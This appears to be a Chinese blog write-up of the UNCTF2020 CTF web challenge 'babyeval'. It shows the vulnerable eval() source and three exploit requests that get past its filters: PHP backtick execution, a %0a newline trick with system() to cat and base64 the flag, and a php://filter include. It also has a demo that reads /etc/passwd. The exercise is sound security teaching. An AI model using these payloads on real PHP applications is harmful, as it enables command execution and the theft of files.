UNCTF2020-WEB:babyeval(php执行运算符|php过滤括号|换行符绕过正则)

php执行运算符

代码:

<?php
    echo `base64 /etc/passwd`;
?>

 

上面的代码使用了反引号,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)

如果过滤了括号可以使用执行运算符去绕过进行输出

 

题目源码:

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>

 

exp1:php执行运算符

GET /?a=echo `base64 flag.php`

 

exp2:换行符绕过(%0a)

GET /?a=system(%27%0acat%20f*%20|%20base64%27);

 

exp3:利用include函数加php伪协议

GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;

 


参考:https://www.php.net/manual/zh/language.operators.execution.php

          https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF

posted @ 2020-11-21 11:12  LuoSpider  阅读(1727)  评论(0编辑  收藏  举报